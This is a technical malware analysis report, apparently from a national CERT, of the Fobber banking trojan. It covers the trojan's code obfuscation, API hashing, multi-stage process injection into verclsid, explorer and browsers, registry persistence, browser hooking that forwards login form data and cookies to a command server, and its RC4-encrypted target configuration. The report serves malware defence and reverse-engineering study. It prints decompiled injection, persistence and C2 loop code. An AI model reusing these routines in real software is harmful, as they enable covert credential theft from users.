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Fobber Analysis

Summary

After reading the Malwarebytes blog post describing Fobber, a new variant of Tinba,
we wanted to have a look at it ourselves.
Fobber uses an interesting and unusual approach to make static analysis harder: we’ll try
to explain it and give hints on how to recover the original un-encrypted shellcode.
Furthermore we analysed all injection stages used by the malware and described what kind
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of shellcode run within each injected code.
In the original sample, there was no sign of Man-in-the-Browser (MitB) aiming to steal
banking credentials but, since the malware has the capability to update itself, this posibility
can be later added by the attackers.
On our analysis, apart from the update feature, we only found the form-grabbing / cookie-
stealing malicious feature.
Although this analysis is pretty comprehensive, this cannot be considerate ultimate, there
are still pieces of the puzzles missing and possible misinterpretation in it.

Code Decryption

Similar to the sample studied in Malwarebytes blog post, the samples we examined do an
initial unpacking stage that involves useless registry activities and long series of JMP chains
that look like:

sub esp, 0BBFh
sub esp, 2D5Ah
sub esp, 0FFFFD6BDh
sub esp, 1909h
add esp, 51F2h
add esp, 5A82h
jmp loc_40AB51
...

loc_40AB51: add esp, 4AEFh
sub esp, 249Eh
sub esp, 5A9h
jmp sub_40BE56
...

sub_40BE56: sub esp, 0CD1Ch
sub esp, 0FFFFD389h
sub esp, 5814h
sub esp, 0FFFF327Ch
push edi
...

These add/sub instructions of constants to the same register, here ESP, that at the end of
the chain is actually used (the PUSH instruction requires a correct ESP value), seem to be
typical for it. These chains can go over hundreds of instruction until they end, this should
probably discourage simple, manual reversing in a debugger. You can also see that these
chains also confuse IDA about the start of functions. But of course, such behavior is quite
common for initial unpacking stages of malware.

At some point, most of our samples have finally created a shellcode (we call it this way
because of its memory-independency and lack of IAT) in some allocated memory, to which
the code jumps via a similarly crafted register:

...
add esi, 47C3h
add esi, 4A94h
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sub esi, 6566h
sub esi, 0FFFF24AAh
jmp esi

This is where it enters the code of interest we’re examining in more detail now. One of our
samples uses a slightly different approach; while it also contains above code sequence, it’s
never actually executed, but instead a new thread is started at some point, whose starting
point turns out to be the shellcode without additional obfuscation. The shellcode looks
identical to what we’ll describe below.

Note that the shellcode lies in some memory area previously allocated and, as mentioned,
it’s completely position-independent. Furthermore, no IAT is required, it will actually work
like, well, a shellcode. It is also the code that will later on be injected into other processes.

But, the shellcode is not really unpacked yet. Instead of unpacking all the code at once in
memory, Fobber uses a more advanced way to make the analysis quite a challenge.
for the major part of the functions, Fobber initiates the following steps:

• Decrypts the function to be executed
• Execute the decrypted function
• Re-encrypts the executed function using a new random key

Let’s see how the decryption function works.
On the screenshot below we see OllyDbg pausing just before the decryption function at
0x009E2592 is getting called. You can also see that the following code (BOUND instruction)
doesn’t seem to make much sense - it actually is a still encrypted code fragment. Also the
code immediately before this call doesn’t seem to make sense - these bytes actually contain
header information about the blob size and encryption key of the fragment.

Note: If you initiate a step-over (F8) at this point, you will loose debugger control or even
crash - simply because this puts a software breakpoint at the following instruction, so the
first instruction byte is overwritten by 0xCC (opcode for INT 3), which is then overwritten
once more by the decrypted code; As a consequence, not only the breakpoint is invalidated,
but also a wrong byte code may be introduced.
You can avoid this by using hardware breakpoints.

The decryption function will use specific bytes from the header directly preceding this call
to perform the decryption (the offsets are the same ones as shown in the screenshot):

Offset Description
- 0xB Mutex: either 0x21 (free) or 0xC1 (taken) to avoid problems if

several threads try to enter the same code fragment
- 0xA..0x9 Code length (XOR-ed with a constant). In the example, it’s

0xE415
- 0x8 XOR key for decryption loop, 0x37 in the example
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Offset Description
- 0x7 Recursion-count: 0 means that the code fragment is still

encrypted, higher values mean that the code fragment is already
decrypted and entered n times recursively within the owning
thread. This prevents double-“decryption” if the function is called
recursively within the same thread, and ensures re-encryption
after the topmost recursion level leaves.

- 0x6 Not used (probably padding)
- 0x5..0x1 Call to decrypt function
0x0 First byte of encrypted code

If we want to match these field to the above example code we obtain:

Mutex: 0x21 - no other thread is currently within this function
Key: 0x37
Size 0x9c bytes
Encrypted: 0x0 - we're not within recursion of the function (otherwise, the

first call would have set this byte to 1)

The size is not directly used but it is first XORed with the constant 0x0E489, so 0xE415
^ 0x0E489 = 0x9C

The mutex is 0x21 and means that no other thread is currently decrypting or re-encrypting
the code (note: parallel execution of the decrypted code is allowed though, the mutex only
protects the encryption/decryption itself)

Note: The mutex values (0x21 and 0xC1) as well as the XOR constant (0xE451) vary from
sample to sample. They can’t be used directly in a generic deobfuscator; you must take
these values from code or data analysis. The offsets themselves seem to be constant though.

Now let’s have a look at the decryption function in IDA:
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At loc_2597, the decryption function waits until the mutex is free (value 0x21). It uses the
somehow unusual CMPEXCHG instruction for this purpose. Here the official, slightly shortened
description of this instruction: “Compares the value of AL with the 1st operand. If identical,
the 2nd operand is loaded into the 1st operand. Otherwise, the 1st operand is loaded into
AL.”. Of course, the result of the initial compare is available afterwards in the Z flag (which
the code checks in JNZ ...).

Note that AL is initialized by the MOV AX, instruction just before with 0x21 and AH with
0xC1, and the “1st operand” is our mutex variable, so you can re-read this as “Compares
0x21 (free) with mutex. If identical (i.e. if mutex is free), set mutex to 0xC1 (taken).
Otherwise, the mutex value (i.e. 0xC1) is loaded into AL.” (but as AL is overwritten in
both cases by a MOV AX,, this “otherwise” actually is a no-operation.) This instruction is
typical for mutex/semaphore operations as it allows a test (compare) and set (exchange)
operation depending on the result of the check within a single, non-interruptible instruction
- this way, these 2 steps form one atomic transaction (note: Actually this instruction should
be preceeded by a LOCK prefix to be atomic, without it the instruction is interruptible if
executed from different processors; For some reason, this lacks in all our samples, which can
be considered as a small bug).
The test result is available afterwards in the Z status flag (checked in the JNZ instruction).
So, the code loop above waits until the mutex is free, and then sets the mutex to taken in
a non-interruptible way.

The XADD instruction afterwards is a similar instruction: “Exchanges the operands and
loads their sum into the 1st operand.”. This can be translated here to “Increment the -
7th byte (i.e. increase recursion count, also indicating that code is already decrypted) and
store previous recursion count in AX”. Only if the following check of AX (previous value
of recursion count) against 0x0 (meaning that code is still encrypted) is successful, the
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decryption continues by pushing the XOR key and the computed size of the code fragment
to be decrypted.

Note: This second step looks redundant on first glance because we already have the mutex
check before. So no other thread can be in the code fragment, right? But of course, a
function could still call itself recursively in a direct or indirect way and, for such cases, it
must be prevented that a subsequent recursive call of this function in the same thread tries
to decrypt it once more.

The function xor_code on the right side of the above picture performs the actual decryption.
This function loops from 0 to size and for each byte code performs the following:

• XOR the current code byte with the XOR key
• Compute a new XOR key for the next step by rotating the bits of the XOR key 3

positions to the right (ROR) and adds 0x53

Note: The rotation-and-addition values (3 bits to the right and add 0x53) were the same
in all samples we examined, but they could vary in other samples.

Stack Manipulation Trick / Return address patching

Fobber uses a stack manipulation trick to make it harder for decompilers to reconstruct the
correct flow of the program.
Let’s have a look on how this works:

A normal code fragment without obfuscation would end in a RETN or RETN n instruction. But
Fobber must call a re-encryption function first, and this re-encryption function must also
include the functionality of this RETN/RETN n instruction (so it must do a double-return),
because the final RETN or RETN n would be overwritten by the re-encrypted self otherwise.
Note that RETN just pops the return address from the stack, while RETN n discards n more
bytes from the stack afterwards, which is used in the stdcall calling convention (stack
argument cleanup by the callee).
Several approaches could solve this problem, one way would be to use a JMP instead. Still,
how can the decryption function know what RETN instruction to emulate, and what exact
code fragment to re-encrypt? Fobber solves this by pushing a dword to the stack containing
this information, and then doing a CALL to the re-encryption function.

Let’s follow this in an example with a pushed value 0x0008009C. This argument is split into
a high 16-bit word (0x8) and a low 16-bit word (0x9C).
This value is later used to determine how the stack must be manipulated to return at the
correct address and to access the function “crypto-header” to perform re-encryption.

• The high word 0x8 is the number of bytes of the original function’s parameters (pushed
by the original caller), in this example 2 DWORD arguments (resulting in 8 bytes).

• The low word 0x9c is an offset to the beginning of the function, more precisely to
the initial call instruction for decryption. Using this offsets allows the re-encryption
function to read and manipulate the “crypto-header” in order to re-encrypt the code.
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After the initial PUSHA instruction of the re-encryption function (which backups all register
values on the stack), the stack looks like this (higher addresses on top, so reversed to
OllyDbgs display order):

ESP+0x30: arg1 (original argument, pushed by original caller)
ESP+0x2C: arg2 (original argument, pushed by original caller)
ESP+0x28: ret1 (return address to original caller, the re-encryption code will

actually return to this one)
ESP+0x24: 0x8009c (argument to re-encryption function); this stack element

will be replaced by the stack correction value plus 8 (`0x10` in our
sample) in the following code

ESP+0x20: ret2 (return address of re-encryption function inside the original
callee; the decryption function subtracts the offset - here `0x9C` - from
this address to find the start of the code fragment to be re-encrypted)

ESP+0x00: <0x20 bytes> (pusha)

Where 0x8 is the distance between arg1 and ret1. arg1 must be overwritten with ret1 at
the end of the re-encryption function just before its own RET instruction to make sure to
return to the original caller and to tidy up the stack (stdcall). The following, documented
disassembly describes the procedure:
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The stack is shrunken back with add esp, [esp+4] letting the stack with just the ret1
value which is then used by the retn call.

Some functions contain more than one such PUSH and CALL <re-encrypt> pairs, just as a
function can also contain more than one RETN/RETN n instruction. So they don’t need to
be at the end of the code fragment (this needs to be read from the header data).

You also see the actual re-encryption code with the mutex and recursion check. XADD now
is performed with a value of 0xFFFF, which actually decrements the recursion-count. When
this count reaches 0, the blob is re-encrypted. The RDTSC instruction actually produces a
random value for the new XOR key, which is also written back into the header for the next
time it needs to be decrypted. The actual crypto loop function is the same as above.

Note: The above mentioned Malwarebytes blog post calls this method a “ROP gadget” - we
were a bit reluctant using this term and decided to use the admittedly more boring naming
“stack manipulation trick”, as ROP (return-oriented programming) is usually used for an
exploit technique where foreign code fragments in libraries and/or the operating system are
“glued together” using a chain of return addresses on the stack on systems where no code
on the stack can be executed. So ROP might be misleading in this case, as it’s no exploit
technique, and no foreign code is brought to execution. It is more simply a “dirty” stack
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manipulation trick.

We wrote and used an IDA Python script that depicts these encryption blobs (by detecting
the headers), decrypts the contents, NOPs out the no longer needed initial CALL instruction
(hence you’ll often see 5 leading NOPs in the subsequent screenshots); it then searches all
PUSH/CALL pairs to the also no longer needed re-encryption function, replaces them by a
suitable RET n and prepends some NOPs to overwrite the old code. As a consequence, some
of the following screenshots show some NOPs before RET n instructions.

Position Independence

As the Fobber shellcode can appear anywhere in the addressing space of the process, it
needs to be completely position independent. To reach this, one register - in all samples we
examined this was EBX - is dedicated as a global framepointer (actually the content of EIP
at some well-defined anchor point within the shellcode). A constant offset is added to this
value as an additional twist. The initialization function, which needs to be called for every
new started thread, is simple enough:

Subsequently, operands can use the template [EBX + 0x6ba51f17] in order to access any
address within the range of the shellcode. So EBX is used similar to a frame pointer (usually
EBP), but in the scope of the whole program instead of only one function. Hence we call
it a global framepointer. [EBX + 0x6ba51f17] for example would refer to the address
0x3c720c - 0x6ba52719 + 0x6ba51f17 = 0x3c6a0a.

Of course, these values differ from sample to sample. If the values are known, it is possible
to replace the operands by direct memory accesses (here 0x3c6a0a) without modifying the
instruction length. Our script also makes this modifications, which actually also frees EBX
for other purposes.

Whenever Fobber needs to push a pointer to a string or other binary data to the stack
(usually as an argument to a function), another approach is used:

CALL x # push last argument for this call
y: <data>
x: PUSH ... # maybe some more arguments for this call

CALL fct # Actual function call

Only the second CALL is a normal one. The first CALL is no real one, it’s actually the same
as a PUSH of the subsequent address (y) to the stack. This code fragment must actually be
considered as an equivalent to something like:

LEA EBX,z # push last argument for this call
PUSH EBX
<NOPs>

x: PUSH ... # maybe some more arguments for this call
CALL fct # Actual function call
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...
z: <data>

Of course this standard code would no longer be position-independent, unlike the original
version. Our script also tries to detect and fix these situation. EBX can safely used as helper
register here as it is no longer required as global framepointer, as explained above. The
data is copied into an additional segment (section) of the file in IDA (address z) and the
embedded bytes (address y) are replaced by NOPs. that’s when you see some NOPs in the
middle of functions in the following screenshots. Big advantage of this is that IDA can
now perform a proper stack analysis and doesn’t mix up code and data anymore, as in the
original variant.

In most (but not all) cases, the actual function finally called is the string de-obfuscation
call described in the next section. In some cases (mostly for very short strings), no string
obfuscation is used.

String Obfuscation

Fobber also obfuscates most of its strings on-the-fly using a simple XOR algorithm. The
main string de-obfuscation function looks like:

esi (copy of a2) points to the encrypted string, while edi (copy of a3) points to the location
where the decrypted string should be placed.
The first 16-bit word of the obfuscated string contains two parameters used for decryption:

• Byte 0 (loaded to AL by LODSW and later moved to ECX): size in bytes
• Byte 1 (loaded to AH by LODSW): key

These parameters are followed by the encrypted bytes.

We can simplify the decryption routine to:
for all characters x: x = x ^ key ^ size where size is decremented down to 0 with
every character.
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IAT Construction

Fobber construct a special “IAT” table (not following the PE format) in order to perform
Windows API calls, actually several such “IAT fragments” (one for each DLL) are used.
Each call to a Windows function uses the template
CALL [EBX + <offset>] where EBX is the global framepointer explained above and
<offset> is the IAT entry offset that identify the API to be called.

Now let’s see how Fobber populate its IAT tables. For each DLL it needs to call the
function:
decrypted47_constructIATHashTableForDLL(dllBase, 0x6BA51E5F),
where the first argument points to a DLL (usually loaded by a LoadLibrary) and the
second one to an one of its “IAT” fragments.
In our example, 0x6BA51E5F refers to address 0x3c6952 (0x3c720c - 0x6ba52719 +
0x6BA51E5F), at this address we see a serie of DWORD pairs, where the first one always
contains zeroes and the second one contains a hash value:

003C694E 00000000
003C6952 00000000 (address of function A)
003C6956 956DFF9D (name hash of function A)
003C695A 00000000 (address of function B)
003C695E 616E3273 (name hash of function B)
003C6962 00000000 ...
003C6966 8EE55695 ...
003C696A 00000000
003C696E E10F9D77
003C6972 00000000
003C6976 8E040082
003C697A 00000000
003C697E 596ECEFD
003C6982 00000000
.....

The hash function implements the following algorithm:

int hash(char *functionName)
{

unsigned int nameHash = 0
do {
nameHash = 7 * nameHash + *functionName++;

} while ( *functionName );
return (nameHash ^ 0x7D4A4321):

}

Again, the constant varies from sample to sample.

This hash function is applied to every function name of the required DLL (by traversing
the export table) until a match is found, and then the 0x0 value in the “IAT” fragment is
replaced by the library function’s address.
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Once finished, the memory section will looks like the following snippet and each call will
then access directly the API address via an offset to the global framepointer EBX.

003C694E 00000000
003C6952 7C812851 kernel32.GetVersionExA
003C6956 956DFF9D
003C695A 7C830185 kernel32.GetNativeSystemInfo
003C695E 616E3273
003C6962 7C814F11 kernel32.IsWow64Process
003C6966 8EE55695
003C696A 7C81AAE7 kernel32.GetExitCodeProcess
003C696E E10F9D77
003C6972 7C80946C kernel32.CreateFileMappingA
003C6976 8E040082
003C697A 7C80B78D kernel32.MapViewOfFile
003C697E 596ECEFD
003C6982 7C80B7FC kernel32.UnmapViewOfFile

As you can see, this format does not follow the usual template of an IAT, where the thunks
(addresses to API functions or JMPs to these) should be subsequent.

First Stage Injection to verclsid.exe

As already outlined by other researchers, Fobber performs multiple-stage injection on differ-
ent processes.

Initialization:

1. Creates a custom IAT (see IAT Construction)
2. Creates a file mapping object (shared memory) and writes the first stage shellcode of

0x3B1D bytes into it
3. Starts verclsid.exe process in suspended state
4. Injects a shellcode of 0x84 bytes to the entry point of it (located in EAX register because

the new process did not really start yet)
5. Resumes the process
6. Waits for the injected shellcode to complete
7. Exits the process

If the file object mapping fails or verclsid.exe cannot be started, the malware directly calls
the function it tried to inject.

The injected shellcode looks like this (HexRays pseudocode):

void __noreturn writtenIntoProcess_size_84h()
{

int allocAddress;
int allocAddress2;
const void *mappedView;
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allocAddress = VirtualAlloc(0, 15133, 12288, 64);
if ( allocAddress )
{
allocAddress2 = allocAddress;
mappedView = MapViewOfFile(0, 0xF001Fu, 0, 0, 0x3B1Du); // HANDLE is 0
if ( mappedView )
{
qmemcpy((void *)allocAddress2, mappedView, 0x3B1Du);
*(_DWORD *)mappedView = 0x77777777;
((void (__stdcall *)(signed int))(allocAddress2 + 0x396B))(2);// Call

entry point of injected code (decrypted71_verclsidInjectionEP)
}

}
ExitProcess(0);

}

This code actually opens the previously created file mapping object (shared memory) and
copies its code into a newly allocated memory section in verclsid process.

The MapViewOfFile call may look wrong since the first argument is zero (instead of a valid
HANDLE to the file mapping object).

But Fobber will patch this parameter during runtime. This is how the code looks before
this patching:

We see there there is a cross-reference to the location after the push opcode that we can
follow back to a code fragment immediately after CreateFileMappingA call was called:

This actually writes directly into the PUSH instruction (after opcode 0x68) of the fragment
that will afterwards be injected into verclsid. So the handle will no longer be 0 when the
code is executed.

Once the shellcode is copied to the new memory region, the shellcode will call the entry-point
located at offset 0x396B.

Before performing the call, the shellcode sets the value 0x77777777 to the first DWORD of
the mapped view.
This signals the process who injected into verclsid that everything went well.

Here the code that performs all these steps in Hexrays pseudocode:

void __usercall __noreturn MAIN_EP_decrypted73(int a1@<ecx>, int a2@<ebx>)
{
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HANDLE fileMapping; // eax@1
int *mappedView; // eax@2
int *mappedView2; // edi@3
void *fileMapping2; // [sp-4h] [bp-328h]@2
CONTEXT context; // [sp+0h] [bp-324h]@4
STARTUPINFO startupInfo; // [sp+2CCh] [bp-58h]@3
PROCESS_INFORMATION processInfo; // [sp+310h] [bp-14h]@3
DWORD flOldProtect; // [sp+320h] [bp-4h]@5

getIP_ebx();
decrypted18_constructIATHashtableForAll(a2);
GetModuleFileNameA(0, MyFilename, 0x104u);
is64 = IsWow64ProcessCall(-1);
fileMapping = CreateFileMappingA((HANDLE)0xFFFFFFFF,

&security_attributes_filemapping, 4u, 0, 0x3B1Du, 0);
if ( fileMapping )
{
*(_DWORD *)((char *)&loc_3C79F2 + 1) = fileMapping;
fileMapping2 = fileMapping;
mappedView = (int *)MapViewOfFile(fileMapping, FILE_MAP_ALL_ACCESS, 0, 0,

0x3B1Du);
if ( mappedView )
{
qmemcpy(mappedView, &injectionSectionStart_size381Dh, 0x3B1Du);
mappedView2 = mappedView;
GetStartupInfoA(&startupInfo);
if ( CreateProcessA(0, verclsid, 0, 0, 1, CREATE_SUSPENDED, 0, 0,

&startupInfo, &processInfo) )
{
context.ContextFlags = CONTEXT_FULL;
if ( GetThreadContext(processInfo.hThread, &context) )// EAX: contains

entry point of verclsid.exe (when started in SUSPENDED mode)
// EBX: points to PEB

{
if ( VirtualProtectEx(processInfo.hProcess, (LPVOID)context.Eax,

0x84u, PAGE_EXECUTE_READWRITE, &flOldProtect) )
{
constructKernel32IATHashTable();
if ( WriteProcessMemory(processInfo.hProcess, (LPVOID)context.Eax,

writtenIntoProcess_size84h, 0x84u, 0) )
{
ResumeThread(processInfo.hThread);
while ( 1 )
{
GetExitCodeProcess(processInfo.hProcess, &flOldProtect);
if ( flOldProtect != 259 && flOldProtect != 256 )

break;
if ( *mappedView2 == 0x77777777 )
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ExitProcess(0);
}

}
}

}
TerminateProcess(processInfo.hProcess, 0);
CloseHandle(processInfo.hProcess);

}
UnmapViewOfFile(mappedView2);

}
CloseHandle(fileMapping2);

}
decrypted71_verclsidInjectionEP(0); // Fallback

}

Verclsid shellcode and explorer injection

Once Fobber has injected itself into verclsid.exe, it will continue with its operations:
It first checks integrity level of the running process. Low integrity level means (for it) that
injection will fail (More about integrity levels on MSDN) therefore it take extra care of this
scenario.

If low integrity

• Establishes persistency via registry key and changes some settings in Firefox and
Internet Explorer

getFilenameBasedOnType(&fobber, 0);
CreateDirectoryA(&fobber, 0);
CopyFileA(MyFilename, &nemre, 0);
// Create auto-start key in CurrentVersion\Run
RegOpenKeyExA(HKEY_CURRENT_USER,

"Software\Microsoft\Windows\CurrentVersion\Run", 0, 2u, &key);
nemreLen = strlen2(&nemre);
RegSetValueExA(key, "Fobber", 0, 1u, "%APPDATA%\Fobber\nemre.exe",

nemreLen);
RegCloseKey(key);
RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Internet

Explorer\Main", 0, 2u, &key);
// Set IE run all tabs in a single process (simplify injection?)
RegSetValueExA(key, "TabProcGrowth", 0, 4u, (const BYTE

*)&tabProcGrowthValue1, 4u);
RegCloseKey(key);
RegOpenKeyExA(HKEY_CURRENT_USER,

"Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3",
0, 2u, &key);
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RegSetValueExA(key, "1609", 0, 4u, (const BYTE *)&const0, 4u);
RegCloseKey(key);

// disable spdy ptotocol for FF by writing user.js file
ExpandEnvironmentStringsA("%APPDATA%\Mozilla\Firefox\", &firefoxDir,

0x104u);
lstrcpyA(&profilesIni, &firefoxDir);
lstrcatA(&profilesIni, "profiles.ini");
// ...

• Query for install date in the registry and volume serial number - these 2 values build
the trojan identifier when contacting the C2

• Load default user agent using ObtainUserAgentString API
• Perform the first network request, sends the string “EM” to the C2 server with payload

type 8. For more information have a look to the Communication Protocol section. This
could ask for a privilege escalation exploit to the C2 server.

• Sleep for 49 days (!)

If not low integrity and not 64 bits

In this case, the malware will inject another shellcode but this time to the explorer.exe
process.

decryptString(aShell_traywnd, (_BYTE *)dst);
explorerWindow = FindWindowA((LPCSTR)dst, 0);// Search for explorer.exe

window handle
if ( explorerWindow )
{
GetWindowThreadProcessId(explorerWindow, &explorerPID);
explHdl = decrypted72_openProcessViaNtOpen(0x1F0FFF, explorerPID);//

PROCESS_ALL_ACCESS
if ( explHdl )
{

if ( writePayloadAndCreateRemoteThread(
(int)explHdl,
&inject_14693_offset940_injectedInExplorer,
14693,
940,
initParam + 1) )

{
ExitProcess(0x100u);

}
}

}

Firstly it finds the window handle of explorer using FindWindowA('Shell_TrayWnd') then
it resolve the PID of the process using GetWindowThreadProcessId and finally
it injects the explorer shellcode and start the remote thread.
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If nothing worked

It will fallback and jump directly to the explorer shellcode.

Explorer shellcode and browsers injection

As is the case for any injection into another process, the injected code initially needs to find
it’s position in memory and create its custom IAT table.

Then it starts a thread that will try to locate the browser processes and inject the shellcode
for the actual working stage into them.
For each running process, it will hash the process name and try to compare it against three
predefined values:

processHash = decrypted09_FunctionNameHash(&processName);
processIndex = 1;
if ( processHash == 0xFC03162D
|| (processIndex = 2, processHash == 0xB70846FF)
|| (processIndex = 3, processHash == 0x7FCC96E6) )

// 1: iexplorer.exe (0xFC03162D)
// 2: firefox.exe (0xB70846FF)
// 3: chrome.exe

{
hProcess = OpenProcess(0x1F0FFFu, 0, pid);
if ( hProcess )
{
v15 = v10;
hProcess2 = hProcess;
if ( (!is64 || IsWow64ProcessCall((int)hProcess))
&& (processIndex != 3 ||

decrypted32_getIntegrityLevel(hProcess2)) )
{
memcpy(
(char *)injPtrStart_0x2B72_offset27AA_browserInjectionEP,
(char *)&os_information_startOfInjectionSize11122,
21u);

writePayloadAndCreateRemoteThread(
(int)hProcess2,
(void *)injPtrStart_0x2B72_offset27AA_browserInjectionEP,
0x2B72,
0x27AA,
processIndex); // injection function at

0x3c7275
}
CloseHandle(hProcess2);
v10 = v15;

}
}
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}

At this point, the Browser shellcode is running within all running browsers.

Later it starts an event-loop that will receive signals from the browser threads; but before,
another thread takes care to “ping” the C2 server periodically:

while ( 1 )
{
clientDataToServer_5bytes.sendFunctionSelector = sendFunctionSelector;
threadHandle = (void

*)prepeare_payload_and_send_with_thread(&clientDataToServer_5bytes.field_0,
5u, 0);

WaitForSingleObject(threadHandle, 1200000u);// 20 minutes time to
succesfully connect to a c2

do
{
if ( pendingTask_1exeNemre_3codeKtxSdd == 1 )// probably update

(nemre.exe)
{
start_process_nemre_exe();
Sleep(0xFFFFFFFF);

}
else if ( pendingTask_1exeNemre_3codeKtxSdd == 3 )// ktx.sdd
{
decrypted11_executeKtxSddAsCode(injectionIndicator);

}
tsNow = GetTickCount();
tsPreviousSignal = tsLastSignal;
tsLastSignal = tsNow;
diffTicks = tsNow - tsPreviousSignal;
if ( diffTicks >= 1200000 ) // 20 minutes
break;

remainsUntil20Minutes = -(diffTicks - 1200000);
tsLastSignal += remainsUntil20Minutes;

}
while ( !WaitForSingleObject(evtExecute, remainsUntil20Minutes) );//

leaves if "in average" more than 20 monutes passed between 2 events

The network request contains just 5 bytes:

00000000 clientDataToServerStruct struc ; (sizeof=0x5, mappedto_46)
00000000 constValue50h db ?
00000001 constValue4Ch db ?
00000002 is64bits db ?
00000003 injectionIndicator db ?
00000004 sendFunctionSelector db ?
00000005 clientDataToServerStruct ends

For a description of the fields please refer to Communication Protocol section.
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The pendingTask flag is set by the C2 response processing function and determines which
action to be executed.
The explorer shellcode is responsible to handle:

• Value 1: start the nemre executable (after received an updated version from C2)
• Value 3: execute the content of ktx.sdd file directly (contains binary code)

Browser shellcode

The browser injected shellcode will perform three main things.

1. Try to unload the rapportgp.dll if loaded (IBM Security Trusteer Rapport)
2. Hook API used by browser to intercept data sent via HTTP/S (wininet, nss, ssl)
3. Monitor for config changes, and if any, reload the config in memory

Hooking

• Hooking for IE explorer is done for the following wininet APIs: HttpSendRequest,
InternetCloseHandle

• Hooking for FireFox is done for two functions (equally to send/close) either in NSPR4
or NSS dlls.

• Hooking in Chrome is done for four functions (equally to send/close), two internal of
chrome itself and two are part of the ssl_lib.c (linked into Chrome)

switch ( (_BYTE)browserIndex_1ie_2ff_3chrome )
{

case 1: // IE
decrypted39_setupHttpSendAndCloseHooks();
break;

case 2: // FF
firefoxHooking();
break;

case 3: // Chrome
chromeHooking();
chromeHookingSsl();
break;

}
hookEnabled = 1;

Once a (send) payload is intercepted by the hook function, the malware will first check if
the request is either a POST or a GET (other methods are not processed), then it
loads the request in memory and perform some analysis with it:

• Checks, if any cookie matches the Cookie: *OAID pattern; if so, sends the data to the
C2 server with payload type 4
For example when visiting www.responsible-investor.com (which uses OAID cookie)
all the requests involving the cookie are sent to the server:

FOBBER ANALYSIS 19



GovCERT.ch TLP WHITE

GET / HTTP/1.1
Host: www.responsible-investor.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OAID=052681046a449e0d8dc8844c3d02b99b; ....
Connection: keep-alive
If-Modified-Since: Tue, 01 Sep 2015 06:10:04 GMT

The OAID cookie is mostly used to manage which ads are shown to which user. The
attacker could potentially use the cookie ID together with some vulnerability of the
OpenX platform to manipulate which ads are served to the infected client. (its just a
guess)

• Checks if the request contains any data that matches a configuration entry (e.g. default
config, see Storage); if so, sends the data to the C2 with payload type 2
If we try to login into twitter.com, the following request is being sent to the C2 server:

POST /sessions HTTP/1.1
Host: twitter.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter.com/
Cookie: guest_id=v1%3A144110315813991484; _twitter_sess=BAh7C......
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
session%5Busername_or_email%5D=test&session%5Bpassword%5D=test&...

Once the connection is closed (i.e. the InternetCloseHandle hook is triggered), the malware
will free the entry for the request that he previously loaded in memory.

Monitor configuration changes

One thread will be used to wait for changes in the malware directory.

while ( 1 )
{
decrypted58_loadConfiguration();
handleNotificationChange =

(int)FindFirstChangeNotificationA(&fobberDirectoryPath, 0, 0x19u);//
FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_SIZE |
FILE_NOTIFY_CHANGE_LAST_WRITE

if ( handleNotificationChange == -1 )
break;
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handleNotificationChange2 = (void *)handleNotificationChange;
WaitForSingleObject((HANDLE)handleNotificationChange, 0xFFFFFFFF);// Wait

for some changes in the malware directory
FindCloseChangeNotification(handleNotificationChange2);
Sleep(1000u); // 1 sec

}

Each time a new config file is retrieved by the malware, it will be decrypted and loaded in
memory.

Storage

The malware creates a Fobber %APPDIR% directory and put all its file in it.
We identified three different file types that are written by the malware in this directory:

1. nemre.exe which is the main malware binary, also pointed by auto-start registry key
2. mlc.dfw which happens to be an encrypted configuration file used by the malware.

The configuration file is encrypted using RC4 and a hardcoded key 9SsTuUknCWB1k0R.
3. ktx.sdd contains executable code (encrypted) that is executed by the explorer-injected

thread

Configuration Storage

The configuration is stored in a data structure like this:
- 0 (1 byte): number of blobs (_n_)
- 1+: sequence of _n_ blobs, each consisting of:
- _x_ (1 byte): blob ID
- _x+1_ (4 bytes): blob length (_l_)
- _x+5_ (_l_ bytes): blob payload

Or graphically:

This data structure is RC4 encrypted (using the same key) and prefixed by a 32 bit value
containing the total length (this value is not visible in the dump below because it’s outside
the encrypted part).
The default config is included (encrypted) in the binary. In our analysed sample, the de-
crypted configuration had just one blob (01) with ID 00 and size 0x102 (02 01 00 00):
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00000020 01 00 02 01 00 00 50 20 68 74 74 70 | ......P http|
00000030 73 3a 2f 2f 2a 00 21 47 50 20 2a 6d 69 63 72 6f |s://*.!GP *micro|
00000040 73 6f 66 74 2e 2a 00 21 47 50 20 2a 67 6f 6f 67 |soft.*.!GP *goog|
00000050 6c 65 2e 2a 00 50 20 2a 61 63 63 6f 75 6e 74 73 |le.*.P *accounts|
00000060 2e 67 6f 6f 67 6c 65 2e 2a 2f 53 65 72 76 69 63 |.google.*/Servic|
00000070 65 4c 6f 67 69 6e 41 75 74 68 2a 00 21 47 50 20 |eLoginAuth*.!GP |
00000080 2a 66 61 63 65 62 6f 6f 6b 2e 2a 00 50 20 2a 66 |*facebook.*.P *f|
00000090 61 63 65 62 6f 6f 6b 2e 2a 2f 6c 6f 67 69 6e 2e |acebook.*/login.|
000000a0 70 68 70 2a 00 21 47 50 20 2a 6f 6e 6c 69 6e 65 |php*.!GP *online|
000000b0 63 68 61 74 2e 67 6d 78 2e 2a 00 50 20 2a 73 65 |chat.gmx.*.P *se|
000000c0 72 76 69 63 65 2e 67 6d 78 2e 2a 2f 63 67 69 2f |rvice.gmx.*/cgi/|
000000d0 6c 6f 67 69 6e 2a 00 21 47 50 20 68 74 74 70 73 |login*.!GP https|
000000e0 3a 2f 2f 2a 2e 67 61 74 65 77 61 79 2e 6d 65 73 |://*.gateway.mes|
000000f0 73 65 6e 67 65 72 2e 6c 69 76 65 2e 63 6f 6d 2a |senger.live.com*|
00000100 00 21 47 50 20 2a 74 77 69 74 74 65 72 2e 63 6f |.!GP *twitter.co|
00000110 6d 2a 00 50 20 2a 74 77 69 74 74 65 72 2e 63 6f |m*.P *twitter.co|
